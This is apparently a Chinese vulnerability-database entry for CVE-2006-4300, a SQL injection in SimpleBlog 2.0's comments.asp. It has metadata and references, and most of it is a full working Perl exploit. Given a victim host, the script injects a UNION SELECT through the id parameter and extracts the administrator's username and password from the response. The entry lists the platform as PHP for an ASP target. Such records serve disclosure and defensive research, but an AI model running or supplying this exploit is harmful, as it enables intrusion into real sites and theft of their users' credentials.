8Pixel.net SimpleBlog 'Comments.ASP' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110859 漏洞类型 SQL注入
发布时间 2006-08-20 更新时间 2007-07-30
CVE编号 CVE-2006-4300 CNNVD-ID CNNVD-200608-355
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2232
https://cxsecurity.com/issue/WLB-2006080149
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-355
|漏洞详情
SimpleBlog2.0及早期版本中的comments.asp存在SQL注入漏洞,远程攻击者可借助id参数执行任意SQL指令。
|漏洞EXP
#!/usr/bin/perl
#Method found by Chironex Fleckeri 
#Exploit By ASIANEAGLE
#Contact:admin@asianeagle.org
#Original advisory: http://www.milw0rm.com/exploits/2228
#Usage: exploitname.pl <host> <path> <id>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print " *****SimpleBlog 2.0 SQL Injection Exploit***** \r\n";
  print "      *****www.asianeagle.org***** \r\n";
  }
sub usage() 
{
  header();
  print " *Usage: $0 <host> <path> <id>\r\n";
  print " *<host> = Victim's host ex: www.site.com\r\n";
  print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n";
  print " *<id>   = Admin ID ex: 1\r\n";
  exit();
}
sub exploit () 
{
  $simserver = $ARGV[0];
  $simserver =~ s/(http:\/\/)//eg;
  $simhost   = "http://".$simserver;
  $simdir    = $ARGV[1];
  $simport   = "80";
  $simtar    = "comments.asp?id=";
  $simsql    = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];
  $simreq    = $simhost.$simdir.$simtar.$simsql;
 
  header();
  print "- Trying to connect: $simserver\r\n";
  $sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...\n";
  print $sim "GET $simreq HTTP/1.1\n";
  print $sim "Accept: */*\n";
  print $sim "Referer: $simhost\n";
  print $sim "Accept-Language: tr\n";
  print $sim "User-Agent: Mozzilla\n";
  print $sim "Cache-Control: no-cache\n";
  print $sim "Host: $simserver\n";
  print $sim "Connection: close\n\n";
  print "Connected...\r\n";
  while ($answer = <$sim>) {
    if ($answer =~ /class=\"c_content\">(.*?)<\/td><\/tr>/) { 
      if ($1 == $ARGV[2]) {
        print "Seems Vulnerable :)\r\n";
      }
      else { die "- Exploit failed\n"; }     
    }
    if ($answer =~ /class=\"c_content\"><b>(.*)<\/b>/) {
      print "- Username: $1\r\n";
    }
    if ($answer =~ /href=\"mailto:(.*?)\">(.*?)<\/a>/) {
	  print "- Password: $1\r\n";
    }  
  }
  
 
 
}

# milw0rm.com [2006-08-20]
|参考资料

来源:XF
名称:simpleblog-comments-sql-injection(28470)
链接:http://xforce.iss.net/xforce/xfdb/28470
来源:BID
名称:19609
链接:http://www.securityfocus.com/bid/19609/info
来源:BUGTRAQ
名称:20060820SimpleBlog2.0<="comments.asp"SQLInjectionExploit
链接:http://www.securityfocus.com/archive/1/archive/1/443923/100/0/threaded
来源:MILW0RM
名称:2232
链接:http://www.milw0rm.com/exploits/2232
来源:MILW0RM
名称:2228
链接:http://www.milw0rm.com/exploits/2228
来源:SECUNIA
名称:18488
链接:http://secunia.com/advisories/18488/
来源:MILW0RM
名称:2232
链接:http://milw0rm.com/exploits/2232
来源:MILW0RM
名称:2228
链接:http://milw0rm.com/exploits/2228
来源:SREASON
名称:1440
链接:http://securityreason.com/securityalert/1440